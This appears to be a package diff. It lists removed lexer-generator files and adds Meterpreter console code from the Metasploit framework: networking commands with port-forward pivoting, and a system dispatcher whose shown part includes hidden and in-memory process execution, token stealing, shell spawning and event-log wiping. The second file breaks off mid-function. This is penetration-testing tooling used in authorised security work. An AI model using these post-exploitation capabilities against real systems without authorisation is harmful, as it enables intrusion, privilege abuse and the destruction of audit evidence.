- data/lib/rex/generator.rb +0 -523
- data/lib/rex/info.rb +0 -16
- data/lib/rex/rexcmd.rb +0 -136
- data/sample/a.cmd +0 -1
- data/sample/b.cmd +0 -1
- data/sample/c.cmd +0 -4
- data/sample/calc3.racc +0 -47
- data/sample/calc3.rex +0 -15
- data/sample/calc3.rex.rb +0 -94
- data/sample/calc3.tab.rb +0 -188
- data/sample/error1.rex +0 -15
- data/sample/error2.rex +0 -15
- data/sample/sample.html +0 -32
- data/sample/sample.rex +0 -15
- data/sample/sample.rex.rb +0 -100
- data/sample/sample.xhtml +0 -32
- data/sample/sample1.c +0 -9
- data/sample/sample1.rex +0 -43
- data/sample/sample2.bas +0 -4
- data/sample/sample2.rex +0 -33
- data/sample/simple.html +0 -7
- data/sample/simple.xhtml +0 -10
- data/sample/xhtmlparser.racc +0 -66
- data/sample/xhtmlparser.rex +0 -72
- data/test/assets/test.rex +0 -12
- data/test/rex-20060125.rb +0 -152
- data/test/rex-20060511.rb +0 -143
- data/test/test_generator.rb +0 -184
@@ -0,0 +1,448 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/post/meterpreter'
|
3
|
+
require 'rex/service_manager'
|
4
|
+
|
5
|
+
module Rex
|
6
|
+
module Post
|
7
|
+
module Meterpreter
|
8
|
+
module Ui
|
9
|
+
|
10
|
+
###
|
11
|
+
#
|
12
|
+
# The networking portion of the standard API extension.
|
13
|
+
#
|
14
|
+
###
|
15
|
+
class Console::CommandDispatcher::Stdapi::Net
|
16
|
+
|
17
|
+
Klass = Console::CommandDispatcher::Stdapi::Net
|
18
|
+
|
19
|
+
include Console::CommandDispatcher
|
20
|
+
|
21
|
+
#
|
22
|
+
# This module is used to extend the meterpreter session
|
23
|
+
# so that local port forwards can be tracked and cleaned
|
24
|
+
# up when the meterpreter session goes away
|
25
|
+
#
|
26
|
+
module PortForwardTracker
|
27
|
+
def cleanup
|
28
|
+
super
|
29
|
+
|
30
|
+
if pfservice
|
31
|
+
pfservice.deref
|
32
|
+
end
|
33
|
+
end
|
34
|
+
|
35
|
+
attr_accessor :pfservice
|
36
|
+
end
|
37
|
+
|
38
|
+
#
|
39
|
+
# Options for the route command.
|
40
|
+
#
|
41
|
+
@@route_opts = Rex::Parser::Arguments.new(
|
42
|
+
"-h" => [ false, "Help banner." ])
|
43
|
+
|
44
|
+
#
|
45
|
+
# Options for the portfwd command.
|
46
|
+
#
|
47
|
+
@@portfwd_opts = Rex::Parser::Arguments.new(
|
48
|
+
"-h" => [ false, "Help banner." ],
|
49
|
+
"-l" => [ true, "The local port to listen on." ],
|
50
|
+
"-r" => [ true, "The remote host to connect to." ],
|
51
|
+
"-p" => [ true, "The remote port to connect to." ],
|
52
|
+
"-L" => [ true, "The local host to listen on (optional)." ])
|
53
|
+
|
54
|
+
#
|
55
|
+
# List of supported commands.
|
56
|
+
#
|
57
|
+
def commands
|
58
|
+
all = {
|
59
|
+
"ipconfig" => "Display interfaces",
|
60
|
+
"ifconfig" => "Display interfaces",
|
61
|
+
"route" => "View and modify the routing table",
|
62
|
+
"portfwd" => "Forward a local port to a remote service",
|
63
|
+
"arp" => "Display the host ARP cache",
|
64
|
+
"netstat" => "Display the network connections",
|
65
|
+
"getproxy" => "Display the current proxy configuration",
|
66
|
+
}
|
67
|
+
reqs = {
|
68
|
+
"ipconfig" => [ "stdapi_net_config_get_interfaces" ],
|
69
|
+
"ifconfig" => [ "stdapi_net_config_get_interfaces" ],
|
70
|
+
"route" => [
|
71
|
+
# Also uses these, but we don't want to be unable to list them
|
72
|
+
# just because we can't alter them.
|
73
|
+
#"stdapi_net_config_add_route",
|
74
|
+
#"stdapi_net_config_remove_route",
|
75
|
+
"stdapi_net_config_get_routes"
|
76
|
+
],
|
77
|
+
# Only creates tcp channels, which is something whose availability
|
78
|
+
# we can't check directly at the moment.
|
79
|
+
"portfwd" => [ ],
|
80
|
+
"arp" => [ "stdapi_net_config_get_arp_table" ],
|
81
|
+
"netstat" => [ "stdapi_net_config_get_netstat" ],
|
82
|
+
"getproxy" => [ "stdapi_net_config_get_proxy" ],
|
83
|
+
}
|
84
|
+
|
85
|
+
all.delete_if do |cmd, desc|
|
86
|
+
del = false
|
87
|
+
reqs[cmd].each do |req|
|
88
|
+
next if client.commands.include? req
|
89
|
+
del = true
|
90
|
+
break
|
91
|
+
end
|
92
|
+
|
93
|
+
del
|
94
|
+
end
|
95
|
+
|
96
|
+
all
|
97
|
+
end
|
98
|
+
|
99
|
+
#
|
100
|
+
# Name for this dispatcher.
|
101
|
+
#
|
102
|
+
def name
|
103
|
+
"Stdapi: Networking"
|
104
|
+
end
|
105
|
+
#
|
106
|
+
# Displays network connections of the remote machine.
|
107
|
+
#
|
108
|
+
def cmd_netstat(*args)
|
109
|
+
connection_table = client.net.config.netstat
|
110
|
+
tbl = Rex::Ui::Text::Table.new(
|
111
|
+
'Header' => "Connection list",
|
112
|
+
'Indent' => 4,
|
113
|
+
'Columns' =>
|
114
|
+
[
|
115
|
+
"Proto",
|
116
|
+
"Local address",
|
117
|
+
"Remote address",
|
118
|
+
"State",
|
119
|
+
"User",
|
120
|
+
"Inode",
|
121
|
+
"PID/Program name"
|
122
|
+
])
|
123
|
+
|
124
|
+
connection_table.each { |connection|
|
125
|
+
tbl << [ connection.protocol, connection.local_addr_str, connection.remote_addr_str,
|
126
|
+
connection.state, connection.uid, connection.inode, connection.pid_name]
|
127
|
+
}
|
128
|
+
|
129
|
+
if tbl.rows.length > 0
|
130
|
+
print("\n" + tbl.to_s + "\n")
|
131
|
+
else
|
132
|
+
print_line("Connection list is empty.")
|
133
|
+
end
|
134
|
+
end
|
135
|
+
|
136
|
+
#
|
137
|
+
# Displays ARP cache of the remote machine.
|
138
|
+
#
|
139
|
+
def cmd_arp(*args)
|
140
|
+
arp_table = client.net.config.arp_table
|
141
|
+
tbl = Rex::Ui::Text::Table.new(
|
142
|
+
'Header' => "ARP cache",
|
143
|
+
'Indent' => 4,
|
144
|
+
'Columns' =>
|
145
|
+
[
|
146
|
+
"IP address",
|
147
|
+
"MAC address",
|
148
|
+
"Interface"
|
149
|
+
])
|
150
|
+
|
151
|
+
arp_table.each { |arp|
|
152
|
+
tbl << [ arp.ip_addr, arp.mac_addr, arp.interface ]
|
153
|
+
}
|
154
|
+
|
155
|
+
if tbl.rows.length > 0
|
156
|
+
print("\n" + tbl.to_s + "\n")
|
157
|
+
else
|
158
|
+
print_line("ARP cache is empty.")
|
159
|
+
end
|
160
|
+
end
|
161
|
+
|
162
|
+
|
163
|
+
#
|
164
|
+
# Displays interfaces on the remote machine.
|
165
|
+
#
|
166
|
+
def cmd_ipconfig(*args)
|
167
|
+
ifaces = client.net.config.interfaces
|
168
|
+
|
169
|
+
if (ifaces.length == 0)
|
170
|
+
print_line("No interfaces were found.")
|
171
|
+
else
|
172
|
+
ifaces.sort{|a,b| a.index <=> b.index}.each do |iface|
|
173
|
+
print("\n" + iface.pretty + "\n")
|
174
|
+
end
|
175
|
+
end
|
176
|
+
end
|
177
|
+
|
178
|
+
alias :cmd_ifconfig :cmd_ipconfig
|
179
|
+
|
180
|
+
#
|
181
|
+
# Displays or modifies the routing table on the remote machine.
|
182
|
+
#
|
183
|
+
def cmd_route(*args)
|
184
|
+
# Default to list
|
185
|
+
if (args.length == 0)
|
186
|
+
args.unshift("list")
|
187
|
+
end
|
188
|
+
|
189
|
+
# Check to see if they specified -h
|
190
|
+
@@route_opts.parse(args) { |opt, idx, val|
|
191
|
+
case opt
|
192
|
+
when "-h"
|
193
|
+
print(
|
194
|
+
"Usage: route [-h] command [args]\n\n" +
|
195
|
+
"Display or modify the routing table on the remote machine.\n\n" +
|
196
|
+
"Supported commands:\n\n" +
|
197
|
+
" add [subnet] [netmask] [gateway]\n" +
|
198
|
+
" delete [subnet] [netmask] [gateway]\n" +
|
199
|
+
" list\n\n")
|
200
|
+
return true
|
201
|
+
end
|
202
|
+
}
|
203
|
+
|
204
|
+
cmd = args.shift
|
205
|
+
|
206
|
+
# Process the commands
|
207
|
+
case cmd
|
208
|
+
when "list"
|
209
|
+
routes = client.net.config.routes
|
210
|
+
|
211
|
+
# IPv4
|
212
|
+
tbl = Rex::Ui::Text::Table.new(
|
213
|
+
'Header' => "IPv4 network routes",
|
214
|
+
'Indent' => 4,
|
215
|
+
'Columns' =>
|
216
|
+
[
|
217
|
+
"Subnet",
|
218
|
+
"Netmask",
|
219
|
+
"Gateway",
|
220
|
+
"Metric",
|
221
|
+
"Interface"
|
222
|
+
])
|
223
|
+
|
224
|
+
routes.select {|route|
|
225
|
+
Rex::Socket.is_ipv4?(route.netmask)
|
226
|
+
}.each { |route|
|
227
|
+
tbl << [ route.subnet, route.netmask, route.gateway, route.metric, route.interface ]
|
228
|
+
}
|
229
|
+
|
230
|
+
if tbl.rows.length > 0
|
231
|
+
print("\n" + tbl.to_s + "\n")
|
232
|
+
else
|
233
|
+
print_line("No IPv4 routes were found.")
|
234
|
+
end
|
235
|
+
|
236
|
+
# IPv6
|
237
|
+
tbl = Rex::Ui::Text::Table.new(
|
238
|
+
'Header' => "IPv6 network routes",
|
239
|
+
'Indent' => 4,
|
240
|
+
'Columns' =>
|
241
|
+
[
|
242
|
+
"Subnet",
|
243
|
+
"Netmask",
|
244
|
+
"Gateway",
|
245
|
+
"Metric",
|
246
|
+
"Interface"
|
247
|
+
])
|
248
|
+
|
249
|
+
routes.select {|route|
|
250
|
+
Rex::Socket.is_ipv6?(route.netmask)
|
251
|
+
}.each { |route|
|
252
|
+
tbl << [ route.subnet, route.netmask, route.gateway, route.metric, route.interface ]
|
253
|
+
}
|
254
|
+
|
255
|
+
if tbl.rows.length > 0
|
256
|
+
print("\n" + tbl.to_s + "\n")
|
257
|
+
else
|
258
|
+
print_line("No IPv6 routes were found.")
|
259
|
+
end
|
260
|
+
|
261
|
+
when "add"
|
262
|
+
# Satisfy check to see that formatting is correct
|
263
|
+
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
264
|
+
print_error "Invalid IP Address"
|
265
|
+
return false
|
266
|
+
end
|
267
|
+
|
268
|
+
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
269
|
+
print_error "Invalid Subnet mask"
|
270
|
+
return false
|
271
|
+
end
|
272
|
+
|
273
|
+
print_line("Creating route #{args[0]}/#{args[1]} -> #{args[2]}")
|
274
|
+
|
275
|
+
client.net.config.add_route(*args)
|
276
|
+
when "delete"
|
277
|
+
# Satisfy check to see that formatting is correct
|
278
|
+
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
279
|
+
print_error "Invalid IP Address"
|
280
|
+
return false
|
281
|
+
end
|
282
|
+
|
283
|
+
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
284
|
+
print_error "Invalid Subnet mask"
|
285
|
+
return false
|
286
|
+
end
|
287
|
+
|
288
|
+
print_line("Deleting route #{args[0]}/#{args[1]} -> #{args[2]}")
|
289
|
+
|
290
|
+
client.net.config.remove_route(*args)
|
291
|
+
else
|
292
|
+
print_error("Unsupported command: #{cmd}")
|
293
|
+
end
|
294
|
+
end
|
295
|
+
|
296
|
+
#
|
297
|
+
# Starts and stops local port forwards to remote hosts on the target
|
298
|
+
# network. This provides an elementary pivoting interface.
|
299
|
+
#
|
300
|
+
def cmd_portfwd(*args)
|
301
|
+
args.unshift("list") if args.empty?
|
302
|
+
|
303
|
+
# For clarity's sake.
|
304
|
+
lport = nil
|
305
|
+
lhost = nil
|
306
|
+
rport = nil
|
307
|
+
rhost = nil
|
308
|
+
|
309
|
+
# Parse the options
|
310
|
+
@@portfwd_opts.parse(args) { |opt, idx, val|
|
311
|
+
case opt
|
312
|
+
when "-h"
|
313
|
+
cmd_portfwd_help
|
314
|
+
return true
|
315
|
+
when "-l"
|
316
|
+
lport = val.to_i
|
317
|
+
when "-L"
|
318
|
+
lhost = val
|
319
|
+
when "-p"
|
320
|
+
rport = val.to_i
|
321
|
+
when "-r"
|
322
|
+
rhost = val
|
323
|
+
end
|
324
|
+
}
|
325
|
+
|
326
|
+
# If we haven't extended the session, then do it now since we'll
|
327
|
+
# need to track port forwards
|
328
|
+
if client.kind_of?(PortForwardTracker) == false
|
329
|
+
client.extend(PortForwardTracker)
|
330
|
+
client.pfservice = Rex::ServiceManager.start(Rex::Services::LocalRelay)
|
331
|
+
end
|
332
|
+
|
333
|
+
# Build a local port forward in association with the channel
|
334
|
+
service = client.pfservice
|
335
|
+
|
336
|
+
# Process the command
|
337
|
+
case args.shift
|
338
|
+
when "list"
|
339
|
+
|
340
|
+
cnt = 0
|
341
|
+
|
342
|
+
# Enumerate each TCP relay
|
343
|
+
service.each_tcp_relay { |lhost, lport, rhost, rport, opts|
|
344
|
+
next if (opts['MeterpreterRelay'] == nil)
|
345
|
+
|
346
|
+
print_line("#{cnt}: #{lhost}:#{lport} -> #{rhost}:#{rport}")
|
347
|
+
|
348
|
+
cnt += 1
|
349
|
+
}
|
350
|
+
|
351
|
+
print_line
|
352
|
+
print_line("#{cnt} total local port forwards.")
|
353
|
+
|
354
|
+
|
355
|
+
when "add"
|
356
|
+
|
357
|
+
# Validate parameters
|
358
|
+
if (!lport or !rhost or !rport)
|
359
|
+
print_error("You must supply a local port, remote host, and remote port.")
|
360
|
+
return
|
361
|
+
end
|
362
|
+
|
363
|
+
# Start the local TCP relay in association with this stream
|
364
|
+
service.start_tcp_relay(lport,
|
365
|
+
'LocalHost' => lhost,
|
366
|
+
'PeerHost' => rhost,
|
367
|
+
'PeerPort' => rport,
|
368
|
+
'MeterpreterRelay' => true,
|
369
|
+
'OnLocalConnection' => Proc.new { |relay, lfd|
|
370
|
+
create_tcp_channel(relay)
|
371
|
+
})
|
372
|
+
|
373
|
+
print_status("Local TCP relay created: #{lhost || '0.0.0.0'}:#{lport} <-> #{rhost}:#{rport}")
|
374
|
+
|
375
|
+
# Delete local port forwards
|
376
|
+
when "delete"
|
377
|
+
|
378
|
+
# No local port, no love.
|
379
|
+
if (!lport)
|
380
|
+
print_error("You must supply a local port.")
|
381
|
+
return
|
382
|
+
end
|
383
|
+
|
384
|
+
# Stop the service
|
385
|
+
if (service.stop_tcp_relay(lport, lhost))
|
386
|
+
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
387
|
+
else
|
388
|
+
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
389
|
+
end
|
390
|
+
|
391
|
+
when "flush"
|
392
|
+
|
393
|
+
counter = 0
|
394
|
+
service.each_tcp_relay do |lhost, lport, rhost, rport, opts|
|
395
|
+
next if (opts['MeterpreterRelay'] == nil)
|
396
|
+
|
397
|
+
if (service.stop_tcp_relay(lport, lhost))
|
398
|
+
print_status("Successfully stopped TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
399
|
+
else
|
400
|
+
print_error("Failed to stop TCP relay on #{lhost || '0.0.0.0'}:#{lport}")
|
401
|
+
next
|
402
|
+
end
|
403
|
+
|
404
|
+
counter += 1
|
405
|
+
end
|
406
|
+
print_status("Successfully flushed #{counter} rules")
|
407
|
+
|
408
|
+
else
|
409
|
+
cmd_portfwd_help
|
410
|
+
end
|
411
|
+
end
|
412
|
+
|
413
|
+
def cmd_portfwd_help
|
414
|
+
print_line "Usage: portfwd [-h] [add | delete | list | flush] [args]"
|
415
|
+
print_line
|
416
|
+
print @@portfwd_opts.usage
|
417
|
+
end
|
418
|
+
|
419
|
+
def cmd_getproxy
|
420
|
+
p = client.net.config.get_proxy_config()
|
421
|
+
print_line( "Auto-detect : #{p[:autodetect] ? "Yes" : "No"}" )
|
422
|
+
print_line( "Auto config URL : #{p[:autoconfigurl]}" )
|
423
|
+
print_line( "Proxy URL : #{p[:proxy]}" )
|
424
|
+
print_line( "Proxy Bypass : #{p[:proxybypass]}" )
|
425
|
+
end
|
426
|
+
|
427
|
+
protected
|
428
|
+
|
429
|
+
#
|
430
|
+
# Creates a TCP channel using the supplied relay context.
|
431
|
+
#
|
432
|
+
def create_tcp_channel(relay)
|
433
|
+
client.net.socket.create(
|
434
|
+
Rex::Socket::Parameters.new(
|
435
|
+
'PeerHost' => relay.opts['PeerHost'],
|
436
|
+
'PeerPort' => relay.opts['PeerPort'],
|
437
|
+
'Proto' => 'tcp'
|
438
|
+
)
|
439
|
+
)
|
440
|
+
end
|
441
|
+
|
442
|
+
end
|
443
|
+
|
444
|
+
end
|
445
|
+
end
|
446
|
+
end
|
447
|
+
end
|
448
|
+
|
@@ -0,0 +1,906 @@
|
|
1
|
+
# -*- coding: binary -*-
|
2
|
+
require 'rex/post/meterpreter'
|
3
|
+
|
4
|
+
module Rex
|
5
|
+
module Post
|
6
|
+
module Meterpreter
|
7
|
+
module Ui
|
8
|
+
|
9
|
+
###
|
10
|
+
#
|
11
|
+
# The system level portion of the standard API extension.
|
12
|
+
#
|
13
|
+
###
|
14
|
+
class Console::CommandDispatcher::Stdapi::Sys
|
15
|
+
|
16
|
+
Klass = Console::CommandDispatcher::Stdapi::Sys
|
17
|
+
|
18
|
+
include Console::CommandDispatcher
|
19
|
+
|
20
|
+
#
|
21
|
+
# Options used by the 'execute' command.
|
22
|
+
#
|
23
|
+
@@execute_opts = Rex::Parser::Arguments.new(
|
24
|
+
"-a" => [ true, "The arguments to pass to the command." ],
|
25
|
+
"-c" => [ false, "Channelized I/O (required for interaction)." ],
|
26
|
+
"-f" => [ true, "The executable command to run." ],
|
27
|
+
"-h" => [ false, "Help menu." ],
|
28
|
+
"-H" => [ false, "Create the process hidden from view." ],
|
29
|
+
"-i" => [ false, "Interact with the process after creating it." ],
|
30
|
+
"-m" => [ false, "Execute from memory." ],
|
31
|
+
"-d" => [ true, "The 'dummy' executable to launch when using -m." ],
|
32
|
+
"-t" => [ false, "Execute process with currently impersonated thread token"],
|
33
|
+
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
|
34
|
+
"-s" => [ true, "Execute process in a given session as the session user" ])
|
35
|
+
|
36
|
+
#
|
37
|
+
# Options used by the 'reboot' command.
|
38
|
+
#
|
39
|
+
@@reboot_opts = Rex::Parser::Arguments.new(
|
40
|
+
"-h" => [ false, "Help menu." ],
|
41
|
+
"-f" => [ true, "Force a reboot, valid values [1|2]" ])
|
42
|
+
|
43
|
+
#
|
44
|
+
# Options used by the 'shutdown' command.
|
45
|
+
#
|
46
|
+
@@shutdown_opts = Rex::Parser::Arguments.new(
|
47
|
+
"-h" => [ false, "Help menu." ],
|
48
|
+
"-f" => [ true, "Force a shutdown, valid values [1|2]" ])
|
49
|
+
|
50
|
+
#
|
51
|
+
# Options used by the 'reg' command.
|
52
|
+
#
|
53
|
+
@@reg_opts = Rex::Parser::Arguments.new(
|
54
|
+
"-d" => [ true, "The data to store in the registry value." ],
|
55
|
+
"-h" => [ false, "Help menu." ],
|
56
|
+
"-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
|
57
|
+
"-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
|
58
|
+
"-v" => [ true, "The registry value name (E.g. Stuff)." ],
|
59
|
+
"-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
|
60
|
+
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
|
61
|
+
|
62
|
+
#
|
63
|
+
# Options for the 'ps' command.
|
64
|
+
#
|
65
|
+
@@ps_opts = Rex::Parser::Arguments.new(
|
66
|
+
"-h" => [ false, "Help menu." ],
|
67
|
+
"-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
|
68
|
+
"-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ],
|
69
|
+
"-s" => [ false, "Show only SYSTEM processes" ],
|
70
|
+
"-U" => [ true, "Filters processes on the user using the supplied RegEx" ])
|
71
|
+
|
72
|
+
#
|
73
|
+
# Options for the 'suspend' command.
|
74
|
+
#
|
75
|
+
@@suspend_opts = Rex::Parser::Arguments.new(
|
76
|
+
"-h" => [ false, "Help menu." ],
|
77
|
+
"-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
|
78
|
+
"-r" => [ false, "Resumes the target processes instead of suspending" ])
|
79
|
+
|
80
|
+
#
|
81
|
+
# List of supported commands.
|
82
|
+
#
|
83
|
+
def commands
|
84
|
+
all = {
|
85
|
+
"clearev" => "Clear the event log",
|
86
|
+
"drop_token" => "Relinquishes any active impersonation token.",
|
87
|
+
"execute" => "Execute a command",
|
88
|
+
"getpid" => "Get the current process identifier",
|
89
|
+
"getprivs" => "Attempt to enable all privileges available to the current process",
|
90
|
+
"getuid" => "Get the user that the server is running as",
|
91
|
+
"getenv" => "Get one or more environment variable values",
|
92
|
+
"kill" => "Terminate a process",
|
93
|
+
"ps" => "List running processes",
|
94
|
+
"reboot" => "Reboots the remote computer",
|
95
|
+
"reg" => "Modify and interact with the remote registry",
|
96
|
+
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
97
|
+
"shell" => "Drop into a system command shell",
|
98
|
+
"shutdown" => "Shuts down the remote computer",
|
99
|
+
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
100
|
+
"suspend" => "Suspends or resumes a list of processes",
|
101
|
+
"sysinfo" => "Gets information about the remote system, such as OS",
|
102
|
+
}
|
103
|
+
reqs = {
|
104
|
+
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
|
105
|
+
"drop_token" => [ "stdapi_sys_config_drop_token" ],
|
106
|
+
"execute" => [ "stdapi_sys_process_execute" ],
|
107
|
+
"getpid" => [ "stdapi_sys_process_getpid" ],
|
108
|
+
"getprivs" => [ "stdapi_sys_config_getprivs" ],
|
109
|
+
"getuid" => [ "stdapi_sys_config_getuid" ],
|
110
|
+
"getenv" => [ "stdapi_sys_config_getenv" ],
|
111
|
+
"kill" => [ "stdapi_sys_process_kill" ],
|
112
|
+
"ps" => [ "stdapi_sys_process_get_processes" ],
|
113
|
+
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
114
|
+
"reg" => [
|
115
|
+
"stdapi_registry_load_key",
|
116
|
+
"stdapi_registry_unload_key",
|
117
|
+
"stdapi_registry_open_key",
|
118
|
+
"stdapi_registry_open_remote_key",
|
119
|
+
"stdapi_registry_create_key",
|
120
|
+
"stdapi_registry_delete_key",
|
121
|
+
"stdapi_registry_close_key",
|
122
|
+
"stdapi_registry_enum_key",
|
123
|
+
"stdapi_registry_set_value",
|
124
|
+
"stdapi_registry_query_value",
|
125
|
+
"stdapi_registry_delete_value",
|
126
|
+
"stdapi_registry_query_class",
|
127
|
+
"stdapi_registry_enum_value",
|
128
|
+
],
|
129
|
+
"rev2self" => [ "stdapi_sys_config_rev2self" ],
|
130
|
+
"shell" => [ "stdapi_sys_process_execute" ],
|
131
|
+
"shutdown" => [ "stdapi_sys_power_exitwindows" ],
|
132
|
+
"steal_token" => [ "stdapi_sys_config_steal_token" ],
|
133
|
+
"suspend" => [ "stdapi_sys_process_attach"],
|
134
|
+
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
|
135
|
+
}
|
136
|
+
|
137
|
+
all.delete_if do |cmd, desc|
|
138
|
+
del = false
|
139
|
+
reqs[cmd].each do |req|
|
140
|
+
next if client.commands.include? req
|
141
|
+
del = true
|
142
|
+
break
|
143
|
+
end
|
144
|
+
|
145
|
+
del
|
146
|
+
end
|
147
|
+
|
148
|
+
all
|
149
|
+
end
|
150
|
+
|
151
|
+
#
|
152
|
+
# Name for this dispatcher.
|
153
|
+
#
|
154
|
+
def name
|
155
|
+
"Stdapi: System"
|
156
|
+
end
|
157
|
+
|
158
|
+
#
|
159
|
+
# Executes a command with some options.
|
160
|
+
#
|
161
|
+
def cmd_execute(*args)
|
162
|
+
if (args.length == 0)
|
163
|
+
args.unshift("-h")
|
164
|
+
end
|
165
|
+
|
166
|
+
session = nil
|
167
|
+
interact = false
|
168
|
+
desktop = false
|
169
|
+
channelized = nil
|
170
|
+
hidden = nil
|
171
|
+
from_mem = false
|
172
|
+
dummy_exec = "cmd"
|
173
|
+
cmd_args = nil
|
174
|
+
cmd_exec = nil
|
175
|
+
use_thread_token = false
|
176
|
+
|
177
|
+
@@execute_opts.parse(args) { |opt, idx, val|
|
178
|
+
case opt
|
179
|
+
when "-a"
|
180
|
+
cmd_args = val
|
181
|
+
when "-c"
|
182
|
+
channelized = true
|
183
|
+
when "-f"
|
184
|
+
cmd_exec = val
|
185
|
+
when "-H"
|
186
|
+
hidden = true
|
187
|
+
when "-m"
|
188
|
+
from_mem = true
|
189
|
+
when "-d"
|
190
|
+
dummy_exec = val
|
191
|
+
when "-k"
|
192
|
+
desktop = true
|
193
|
+
when "-h"
|
194
|
+
print(
|
195
|
+
"Usage: execute -f file [options]\n\n" +
|
196
|
+
"Executes a command on the remote machine.\n" +
|
197
|
+
@@execute_opts.usage)
|
198
|
+
return true
|
199
|
+
when "-i"
|
200
|
+
channelized = true
|
201
|
+
interact = true
|
202
|
+
when "-t"
|
203
|
+
use_thread_token = true
|
204
|
+
when "-s"
|
205
|
+
session = val.to_i
|
206
|
+
end
|
207
|
+
}
|
208
|
+
|
209
|
+
# Did we at least get an executable?
|
210
|
+
if (cmd_exec == nil)
|
211
|
+
print_error("You must specify an executable file with -f")
|
212
|
+
return true
|
213
|
+
end
|
214
|
+
|
215
|
+
# Execute it
|
216
|
+
p = client.sys.process.execute(cmd_exec, cmd_args,
|
217
|
+
'Channelized' => channelized,
|
218
|
+
'Desktop' => desktop,
|
219
|
+
'Session' => session,
|
220
|
+
'Hidden' => hidden,
|
221
|
+
'InMemory' => (from_mem) ? dummy_exec : nil,
|
222
|
+
'UseThreadToken' => use_thread_token)
|
223
|
+
|
224
|
+
print_line("Process #{p.pid} created.")
|
225
|
+
print_line("Channel #{p.channel.cid} created.") if (p.channel)
|
226
|
+
|
227
|
+
if (interact and p.channel)
|
228
|
+
shell.interact_with_channel(p.channel)
|
229
|
+
end
|
230
|
+
end
|
231
|
+
|
232
|
+
|
233
|
+
#
|
234
|
+
# Drop into a system shell as specified by %COMSPEC% or
|
235
|
+
# as appropriate for the host.
|
236
|
+
def cmd_shell(*args)
|
237
|
+
case client.platform
|
238
|
+
when /win/
|
239
|
+
path = client.fs.file.expand_path("%COMSPEC%")
|
240
|
+
path = (path and not path.empty?) ? path : "cmd.exe"
|
241
|
+
|
242
|
+
# attempt the shell with thread impersonation
|
243
|
+
begin
|
244
|
+
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
|
245
|
+
rescue
|
246
|
+
# if this fails, then we attempt without impersonation
|
247
|
+
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
|
248
|
+
cmd_execute("-f", path, "-c", "-H", "-i")
|
249
|
+
end
|
250
|
+
when /linux/
|
251
|
+
# Don't expand_path() this because it's literal anyway
|
252
|
+
path = "/bin/sh"
|
253
|
+
cmd_execute("-f", path, "-c", "-i")
|
254
|
+
else
|
255
|
+
# Then this is a multi-platform meterpreter (php or java), which
|
256
|
+
# must special-case COMSPEC to return the system-specific shell.
|
257
|
+
path = client.fs.file.expand_path("%COMSPEC%")
|
258
|
+
# If that failed for whatever reason, guess it's unix
|
259
|
+
path = (path and not path.empty?) ? path : "/bin/sh"
|
260
|
+
cmd_execute("-f", path, "-c", "-i")
|
261
|
+
end
|
262
|
+
end
|
263
|
+
|
264
|
+
|
265
|
+
#
|
266
|
+
# Gets the process identifier that meterpreter is running in on the remote
|
267
|
+
# machine.
|
268
|
+
#
|
269
|
+
def cmd_getpid(*args)
|
270
|
+
print_line("Current pid: #{client.sys.process.getpid}")
|
271
|
+
|
272
|
+
return true
|
273
|
+
end
|
274
|
+
|
275
|
+
#
|
276
|
+
# Displays the user that the server is running as.
|
277
|
+
#
|
278
|
+
def cmd_getuid(*args)
|
279
|
+
print_line("Server username: #{client.sys.config.getuid}")
|
280
|
+
end
|
281
|
+
|
282
|
+
#
|
283
|
+
# Get the value of one or more environment variables from the target.
|
284
|
+
#
|
285
|
+
def cmd_getenv(*args)
|
286
|
+
vars = client.sys.config.getenvs(*args)
|
287
|
+
|
288
|
+
if vars.length == 0
|
289
|
+
print_error("None of the specified environment variables were found/set.")
|
290
|
+
else
|
291
|
+
table = Rex::Ui::Text::Table.new(
|
292
|
+
'Header' => 'Environment Variables',
|
293
|
+
'Indent' => 0,
|
294
|
+
'SortIndex' => 1,
|
295
|
+
'Columns' => [
|
296
|
+
'Variable', 'Value'
|
297
|
+
]
|
298
|
+
)
|
299
|
+
|
300
|
+
vars.each do |var, val|
|
301
|
+
table << [ var, val ]
|
302
|
+
end
|
303
|
+
|
304
|
+
print_line
|
305
|
+
print_line(table.to_s)
|
306
|
+
end
|
307
|
+
end
|
308
|
+
|
309
|
+
#
|
310
|
+
# Clears the event log
|
311
|
+
#
|
312
|
+
def cmd_clearev(*args)
|
313
|
+
|
314
|
+
logs = ['Application', 'System', 'Security']
|
315
|
+
logs << args
|
316
|
+
logs.flatten!
|
317
|
+
|
318
|
+
logs.each do |name|
|
319
|
+
log = client.sys.eventlog.open(name)
|
320
|
+
print_status("Wiping #{log.length} records from #{name}...")
|
321
|
+
log.clear
|
322
|
+
end
|
323
|
+
end
|
324
|
+
|
325
|
+
#
|
326
|
+
# Kills one or more processes.
|
327
|
+
#
|
328
|
+
def cmd_kill(*args)
|
329
|
+
# give'em help if they want it, or seem confused
|
330
|
+
if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
|
331
|
+
cmd_kill_help
|
332
|
+
return true
|
333
|
+
end
|
334
|
+
|
335
|
+
self_destruct = args.include?("-s")
|
336
|
+
|
337
|
+
if self_destruct
|
338
|
+
valid_pids = [client.sys.process.getpid.to_i]
|
339
|
+
else
|
340
|
+
valid_pids = validate_pids(args)
|
341
|
+
|
342
|
+
